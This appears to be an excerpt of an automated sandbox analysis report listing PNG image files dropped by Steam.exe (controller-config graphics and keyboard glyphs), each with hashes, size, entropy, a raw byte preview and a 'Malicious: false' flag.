Preview:	.PNG........IHDR....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_15.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14294
Entropy (8bit):	6.035096624154891
Encrypted:	false
SSDEEP:
MD5:	7982F76198E313F245B4B35FF3582CF7
SHA1:	F3388A1C5C0C8A40298E61363D12845EA8684092
SHA-256:	9714B95C76761E379C3E9B32C5F2264DCC5A1AE582728B5EE306475B28FA2AF6
SHA-512:	9ECB46A64432464DAE3209B7A77F10DB7A56186B4A7B2B800995160516340066D10B2E16659CAF3B7797BF8E44529B29217915F05AAAE62D393CB1E186C6267F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....................sRGB.........gAMA......a.....pHYs..........o.d..7kIDATx^..ks%.y.........#^D.,Z..v".).$G.).rdR.-S.+)...H*_#y..TRa.H"E_.E...(..).b..&-Q"..en..........0....f..C.Y..^....9.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13899
Entropy (8bit):	6.145235426802085
Encrypted:	false
SSDEEP:
MD5:	D43CCD31487E20EE547181595E9E5EEA
SHA1:	C375D9300F542CE4E117CBB009DC3BBA2ABCD482
SHA-256:	C5CD43288A3F6FEA87C95A662C0883E0FDB778AB9D0B3370FB464AFF723F5915
SHA-512:	E1E602C39AB17F6166532AC04FEF4C56449CDD93C7643BF62726FD89372E1CAECD96E909DAFBF411D91BCFE976E7E533B6B43E1143A5A2A90D2990B8A24FC814
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx....d.]....VuO.>....X.u....B..b .y0^ G.".&..x.)R..$.!..........A$..!.....$...c.6~X{g..3.]U..E..u..{..{....#....[=....sN.9........W_..........A........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8988
Entropy (8bit):	4.42303251925576
Encrypted:	false
SSDEEP:
MD5:	1E2621BCEA04C80E9F7E654F02DF2148
SHA1:	9472F9471A76A289706BB9136781AF431363E103
SHA-256:	380A3C53169EB9675E02D3AE80155B102CAD0ED1396558327519E400785F9A28
SHA-512:	DEE20E188C27E1DD37A8BC2D6905786008EE6B2CC814F2258B6460084347F3082D3239DD40A2AF1603B1DA81F1659F47F6B77292449C8DAE36175522AC58264C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx...[r.H......].^;....g'=1o..U.r.@F.;.\~..Qa.K...t....^.......x~.!........ ..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..............

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_5.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10230
Entropy (8bit):	5.046881448352817
Encrypted:	false
SSDEEP:
MD5:	13625BD090C5BFEED009E6C404D23BA3
SHA1:	9757A94396F50D27CC831643D8415D0565EF4126
SHA-256:	C011B45D15E9851813F62BA65B94769FE8692AE06E04460C8453A63A72610C3C
SHA-512:	42C3C9D0E56B15BC31DBD6F7970C09AFD935045A88B920A49D324B847D7C71709166E3A059EB3FE4BAC4A9E139993D7EAA5C36F77D07425F02B1C2A117BB16B1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx...]s..}....o.(Wr.$.'M.Lf..<=.Y...{...3u.u.4/N.XR$R".... ...D...%.....P.?,.k....................d.........B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_6.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14409
Entropy (8bit):	6.251506483801143
Encrypted:	false
SSDEEP:
MD5:	EFFCF7CE3112B58DE2DCBFC382ED7AE2
SHA1:	48A974C70CDBC7E2D128C96183ABFB9491F4BC7A
SHA-256:	E290423425395DCD922E6B2EAE25222D5829EE812025261A842CCF1A6428C589
SHA-512:	AF49842CD6E42DEEEC51361E1DF2BA6FB3A767D152B77E54F5BBFF5B3F16762FA5A386EA1D2442D3268D4C313107BA39911B69E8EBDCB64BB1476A64AB8F33F0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx....ci}...H...ewa......Z\8.7.2..............y..(y.TR..........q.".eH...6.....L.t.y!..Z.....HO.>U*.E..H=#...<..m..........S................. ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H................... ..0......@".`.......D....................!........$B........H...................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_7.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8868
Entropy (8bit):	4.340572777043379
Encrypted:	false
SSDEEP:
MD5:	EDCAA70BA3CD4003D65B502E165894F1
SHA1:	9B6357CDADAA9694BAFAB29A957C346CD5980DC8
SHA-256:	CA7DAE1015C19889F0880F340FA01F1718F8A4CB3461F3D2F602B61235799CCF
SHA-512:	FF6797E1F4000D46F9EEB3D652708615561A9EA885D0C29AC24E60093700E5F9CF1BC6C0F7990B6A4A3D2911D43A83971579F236DCD9A4C4C5D52E4F5728B6B2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx....R.H.......g.lc.l.v.o.d..l..!s...,.).._=OD..H.T..^d............&K........A.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_8.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25295
Entropy (8bit):	7.1981377743743895
Encrypted:	false
SSDEEP:
MD5:	C3204B00ED204A0F77D6D2DF2C9991B1
SHA1:	CFABF2C142F3FEDAB53E6C9C5AFE145D258FB411
SHA-256:	008C4BB2C0D795DB2A64B71480F895B0397056F51BAF1649D3817CFC9121D41B
SHA-512:	E5C19ED797D0942549193085E88464967AEC8680F0FF3119672011D6EB30380060D111A5F8649715CE91C59104EF5756D6C2017CF74253A4AB130640F9A865C8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx...i.e.Y...9w....g.c.l....K.12...Q. .."D..`l...H@.)R.....X.`LH..!DD.a"@J..d.0.. ".^ ^`....v...3.VM.=.u.....tT.=U....bZ.y..j.&.........jo.......@..`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_9.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17377
Entropy (8bit):	6.484450615461678
Encrypted:	false
SSDEEP:
MD5:	3EC5049E67AB7321868BB6D02160AF85
SHA1:	94D127D3693735F060081BD6BB76A646996E27DF
SHA-256:	3AC38F151AC1DC0BCB474B3B17DEB83A04CC1F46DAF0891E91710981339D6BD3
SHA-512:	0FC9DFB77DFD2A65F41A4C85CC36D9FD6CC2609497BBD56685D246B5E7E91C2B169217C27B99805C32C223EDA0737C1CEB24F959A7D5F8615AAE7AEB9B50CF9D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx....d....O../...%...VB..{%?."e#{.<[.b'.....y...!k....c.Z.a...L.t.9uN..*..w...B..^/.a`j...7..o..}..........\|........5.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.........E.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_ps4.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 586 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14141
Entropy (8bit):	7.785972175982265
Encrypted:	false
SSDEEP:
MD5:	0A757A34CC17196360CC631C65AE8C49
SHA1:	ECF0E314A4AB099AB9247EA62226B92B89CECD13
SHA-256:	428C51B09FF35150416CEA3F343F08789370E4AA604A246653F8A8EF3A0403C6
SHA-512:	6E7B5227F5DC970B5A6A654C18466101DE261D556607E43EDFD362BB129C84FB57DB5407F6984A20A0B0FADA8519A6037889866ED351B0079423ECC6362EA9EC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...J..........y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_ps5.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 586 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14701
Entropy (8bit):	7.794841752066212
Encrypted:	false
SSDEEP:
MD5:	636E1C42DB888B76FBEE048A895A5076
SHA1:	85E86E327D10F808D0EA9A65F46B1B9D8DA6D5B1
SHA-256:	32636DB1CB9B7FF7DC6EAACC1A097E1D9729CAB7615C5BB210F8FACF32906F9E
SHA-512:	12620E007E649B9E3B3F65B84894B6085F06AFE8CDAA6A7C3E8AE0634E6F12A11CC91DC49B2F9ED6DB59A883B588A3E072688958B9CA0CAD86AC1D90B96871AF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...J..........y.....sRGB.........gAMA......a.....pHYs..........o.d..9.IDATx^..is].y/.g.s0. ...H..8[....$K..-.....Uf.v:Uyu..w@.c.W.J....M..e.@..X..-G... EJ.<O...}....H.$.3.~U.l.....(.....................................................................................................................................................................................................................................................................................................................................................................................`.e..w........w......y....y}.....s?.....$3....\|>.._{......;..J....w>o....<..\|.v..I.......f...m.{.....)....w....s..o...cf.d...;?.~...~^2.....%w>....(..?.O.o3.J..w.pt...!..n..?...<.k.....=.....3..3W.......\|M.......k.......>w&_.L^........^c6.m.g..5.?..^o._...?..~......yg... _{.....Ln?g..;.yn......L.<............................................b....x.yV*..@#...Z.O..Z1]`!H....F.........>.._..Y ..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_steam.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 586 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14315
Entropy (8bit):	7.78489125366209
Encrypted:	false
SSDEEP:
MD5:	62741BB5686C14CA467078A9A12EA1E2
SHA1:	024F2A57AEAD96140ED29CC488975D11C4879E35
SHA-256:	EC27FD7A9869AD3B6BE1AF495B627F09FD8347AF956420F15E02BD6A5236BE4F
SHA-512:	10F42C792FE74F5E80E1AEF7774DE4A85A108A3C36D9B6E48596412A43331AD24D34C92452C9A892B2ABBFE7AB2B25FF9D2058CBDB3974B846EE6C96A64ED140
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...J..........y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_backspace.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3078
Entropy (8bit):	7.864485017418635
Encrypted:	false
SSDEEP:
MD5:	C0B31146307F515C339464157EFECCA1
SHA1:	52DE241EE8D619697D440924A06E032E4B542F0A
SHA-256:	3B7BCC9B9231391E53C9303206131B885D4C0D60EAA488135157BED3934B645B
SHA-512:	A96F9D9B52B105118B1CFE1A0634245D3AA5ED69B465DA9B8568E75460E57979FDEE8E17ACB2BC9AF358C78119425C6E4586143C67BB2FCD2BC2A0919025AA73
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_brk.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3460
Entropy (8bit):	7.871725200441281
Encrypted:	false
SSDEEP:
MD5:	E2FBC14CB1ADA4102B1161686EC9D61E
SHA1:	16D3CCF9E50D12CC0E48DA5D11A767CC8D0CB240
SHA-256:	E39137D7FB80AC223339620DD440EB19B293A3FD06014AD0F77997EF25E9C948
SHA-512:	64D6414FE0DC443C16722A9A12DF532F0709278B106C5B7408B5F99EF7C896B82BA12EFA7E984132708F2F4D511EF94D3EE167A5A17E16AFC06959CC0257ED3D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_down.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3160
Entropy (8bit):	7.867324216461544
Encrypted:	false
SSDEEP:
MD5:	0A345E902B0611CE909F8B81C1393EDF
SHA1:	332836C3C6399E71E1A7B360D99BA9606417F048
SHA-256:	ACFEB2ED819027D79018A59158665B972BC6CB6885EDC09847B032DB5A7C2297
SHA-512:	2CF1F2698B8F11AA455B84B2C14651C75EC521DB27B783C0B0151E285BDAF3A7D43BA178E4A1494573ED23394BE041CDEC7CA9F90069E03C567C351062B297D3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_esc.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3467
Entropy (8bit):	7.885130592068226
Encrypted:	false
SSDEEP:
MD5:	798E242B3C3559EE5E20B23A56723C17
SHA1:	BBFD4D367EA2A0A7B12004F771F22B24F01C95AF
SHA-256:	FB23BD5B403F03EBE3D9D7A3848A537EDCCB0004509094AD2C1F7B607570892B
SHA-512:	0A845E177A15B676444CC485D8A0218A95E8A5F98D8C0F0D0C3AF8D0B202BB0DFD61FB1184D46D330DDAEDFF1239F066DCA297F55CB0F88516150EC04C886E8D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_home.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3138
Entropy (8bit):	7.855484365570022
Encrypted:	false
SSDEEP:
MD5:	E87556DEA08FACA1DB37945DEC794994
SHA1:	55220EDFC7A17A5C37757AB6F75DAA7FC745D631
SHA-256:	B99F678AE4BA7C37ECE7586F972E0752E4D4075F22D944E3BE61CF0786AB8C5D
SHA-512:	90C30EA190262740CC88416EBEB6857AD8EE3F07C6D66D446C390B9C5D1E94473133EF4DBC6234809CD42A55C4480B20695EF1E10B9040D7F77A17949C1535FA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_ins.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3412
Entropy (8bit):	7.865214553619816
Encrypted:	false
SSDEEP:
MD5:	F66B4AF0DB4CD5A577767B5A9BD75EA4
SHA1:	12B231627CC74DB1E7431918A37A6DD90DA65266
SHA-256:	858FAF51D9B5582E71A1CF136D043A042BCF7029B037BE32C3D91C7229225D14
SHA-512:	94CB505D08359FB0685235A409A4A9BAB9EAEB55EAC33E1A626C511CABDF1717B2F9D87D6F58DF7ABD01694737DBA7675FA69B9A1BF4DD65083F72FACE3245CC
Malicious:	false
Reputation:	unknown
